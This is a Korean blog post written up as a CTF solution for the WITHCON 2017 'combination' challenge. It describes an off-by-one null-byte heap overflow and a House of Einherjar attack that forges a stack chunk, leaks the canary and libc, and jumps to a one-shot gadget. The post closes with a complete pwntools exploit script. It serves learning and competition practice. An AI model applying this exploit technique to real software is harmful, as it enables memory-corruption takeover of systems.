ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 0x26.WITHCON 2017 - combination
    0x.CTF 2018. 11. 22. 00:29

    0x26.WITHCON 2017 - combination


    파일 & 소스 : https://github.com/pwnwiz/CTF/tree/master/combination


    멋모르고 풀 때 엄청 어려웠던 문제, 지금 보니 정석 처럼 오히려 잘 보이던 문제. 푸는 방식이 꽤 존재하는데 그 중에서 출제자 형의 의도인 house_of_einherjar로 풀어보기로 하였다.


    사실 기억에 의하면 바이너리가 c++인 줄 알았는데 다행히 c여서 금방 분석이 가능했다. 바이너리는 PIE가 걸려있고, NX, ASLR이 다 걸려있다. 어쨋든.. 메인 함수를 보면 1,2,3,4,5 및 46 옵션이 존재한다.



    가장 먼저 malloc 옵션을 들어가면 사용자로부터 size값을 입력받는데 그 크기는 144 ~ 512 사이이다. 해당 값을 입력받아 malloc을 하고 그 주소를 bss 영역에 저장을 한다. 그리고 bss에서 해당 주소값의 + 1 위치에 크기를 저장을 한다.



    그리고 사용자로부터 chunk의 데이터 값을 입력받는다. 특별한 사항은 없어보인다.



    free 메뉴를 살펴보면 bss 영역에서 해당 주소 + 2 영역의 값이 1인지 여부를 체크하는데, free가 되면 해당 부분을 1로 세팅을 한다는 사실을 알 수 있다.



    이를 통해 bss 영역에는 다음의 모양으로 저장이 된다.

    [ malloc 주소 ] [ size ] [ free(default=0) ]

    이번에는 list 부분이다. ctf 문제의 대부분의 leak을 담당하는 아주 귀한 메뉴이다. 보면 입력한 data값을 출력해준다. 널 바이트만 피하면 릭이 가능할 것으로 보인다.



    modify 함수 부분을 보니 free 값이 1이 아닐 경우에는 data 값을 변경할 수 있는데, 사용자로부터 입력을 받은 마지막 바이트 + 1 에서 0이라는 값을 대입함으로써 off-by-one overflow가 발생한다. 다시 말해, AAAA로 데이터를 변경하면 AAAA+\x00 이라는 데이터가 쓰인다는 것이다. 해당 바이트는 chunk의 구조를 생각해봤을 때 prev_in_use flag 값을 0으로 세팅이 가능할 것이다. 참고로 여기서 말하는 prev_in_use는 해당 청크의 이전 청크가 malloc 된 상태인지를 판단해주는 flag인데 해당 flag 값이 0이 될 경우, 이전 청크와 병합을 시도한다.



    46번 case는 메인함수에 있는 히든함수 같아보이는데 사용자로부터 size를 입력받아 alloca를 진행한다. 그리고 malloc 함수와 마찬가지로 정보들을 bss 영역에 저장을 한다. 이 메뉴를 통해 우리는 stack에 alloca를 할 수 있다.



    전체적인 흐름은 다음과 같다. 우리는 1번 메뉴와 46번 메뉴를 활용하여 malloc 또는 alloca를 수행할 수 있다. 취약점은 modify에서 발생하며 off-by-one overflow로 prev_in_use의 flag값을 0으로 세팅이 가능하다. 46번 메뉴를 잘 활용하여 stack, heap, libc 주소를 릭 한 뒤, stack에 fake_chunk를 만들어 해당 부분으로 unlink를 진행한다. 그러면 malloc을 통해 stack의 공간에 청크 할당이 가능할 것이고, 카나리를 릭 할 수 있다면 rip를 원하는대로 조작이 가능할 것이다.



    heap 청크 2개를 할당을 하고 header를 더한 값이 0x201이 되도록 세팅하였다.



    2번째 청크를 보면 0x201이라는 값이 있는데 해당 값이 modify 메뉴의 1 byte overflow에 의하여 다음과 같이 변경이 된다.



    이를 통해 우리는 stack에 fake_chunk를 만든 뒤에 unlink 옵션에 대한 우회를 할 수 있다면 다음 malloc에서 해당 stack 주소에 할당을 할 수 있다. 이를 위해서 heap chunk의 prev_size의 값을 heap chunk 주소 - stack chunk 주소로 세팅을 해주었고, stack에 위치한 fake chunk의 size 또한 같은 값으로 세팅해주었다. 또한 링크리스트 체크 옵션을 우회하기 위해, fake chunk의 fwd, bck, fwd_nextsize, bck_nextsize의 값을 동일하게 세팅해주어 freed chunk의 모습을 만들어주었다.


    free메뉴를 통해 unlink를 진행하면 heap chunk가 free되면서 stack chunk에 합병하게 되고, stack chunk의 size에 heap_chunk의 사이즈가 더해진다. 이제 malloc을 통해 smallbin을 할당하게 되면 해당 stack의 주소를 기준으로 할당이 되기 때문에 size값을 적절히 변경하여 malloc을 호출하였다.


    처음에 문제를 풀 때 릭 순서를 잘못하여 카나리에 대한 릭 부분에서 문제가 있었는데, 해당 부분을 좀 더 작은 사이즈로 alloca를 한 뒤에 fake_chunk 부분으로 malloc을 할 수 있도록 unlink를 한 뒤에 해당 사이즈 값을 변조하여 좀 더 큰 사이즈로 변경을 한 뒤에, canary를 릭하였고, 메인 함수의 ret 부분에 oneshot 가젯을 집어넣는 방법으로 익스를 할 수 있었다. 물론 oneshot 가젯에는 널바이트 조건이 존재하기에 뒤를 0바이트로 세팅을 해주었다.



    익스플로잇 코드

    from pwn import *

    s = process('./combination')
    e = ELF('./combination')

    def to_main():
        s.recvuntil('> ')

    def malloc(size, data):
        s.sendline('1')
        s.recvuntil('Enter size : ')
        s.sendline(size)
        s.recvuntil('Enter data : ')
        s.sendline(data)
        to_main()

    def free(index):
        s.sendline('2')
        s.recvuntil('Which one do you want to free : ')
        s.sendline(index)
        to_main()

    def list(index, dummy, canary=0):
        s.sendline('3')
        s.recvuntil('Which chunk do you wanna see? ')
        s.sendline(index)
        s.recvuntil(dummy)
        sleep(0.1)
        if canary == '1':
            leak = u64(s.recv(8))
        else :
            leak = u64(s.recv(6)+'\x00'*2)
        s.recv()
        return leak

    def modify(index, data):
        s.sendline('4')
        s.recvuntil('Which chunk do you want to modify : ')
        s.sendline(index)
        s.recvuntil('Enter data : ')
        s.sendline(data)
        to_main()

    def alloca(size, data):
        s.sendline('46')
        s.sendline(size)
        s.sendline(data)
        to_main()

    def exit():
        s.sendline('5')

    to_main()
    malloc("504", "A") # index 1
    malloc("504", "B") # index 2

    modify("1", "A"*504) # off-by-one overflow

    alloca("112", "A"*32) # index 3
    stack_leaked = list("3", "A"*32) - 368

    alloca("512", "A"*209) # index 4
    heap_leaked = list("4", "A"*208) - 0x41 + 0x200 #

    alloca("512", "A"*184) # index 5
    libc_leaked = list("5", "A"*184) - 15744
    oneshot = libc_leaked + 0x4526a

    prev_size = 0x10000000000000000 + heap_leaked - stack_leaked

    modify("1", "A"*496 + p64(prev_size)) # overflow B -> prev_size
    modify("3", p64(0x0) + p64(prev_size) + p64(stack_leaked)*4) # make it freed_fake_chunk

    free("2")
    modify("3", p64(0x0) + p64(0x1000)) # change fake_chunk size

    malloc("300", "A"*121) # index 6
    canary_leaked = list("6", "A"*120, "1") - 0x41

    modify("6", p64(0)*15 + p64(canary_leaked) + p64(oneshot)*2+p64(0)*16)
    exit()

    s.sendline("id")
    s.sendline("cat flag")
    s.interactive()



    '0x.CTF' 카테고리의 다른 글

    0x28.BoB ctf - FMbug  (0) 2018.12.15
    0x27.Whitehat Quals 2017 - hacking_team_manager  (0) 2018.11.29
    0x25.SSG - easy_linux_reversing  (0) 2018.11.09
    0x24.SSG - fortune_cookie  (0) 2018.11.08
    0x23.0ctf 2018 - blackhole  (0) 2018.11.06

    댓글

Designed by Tistory.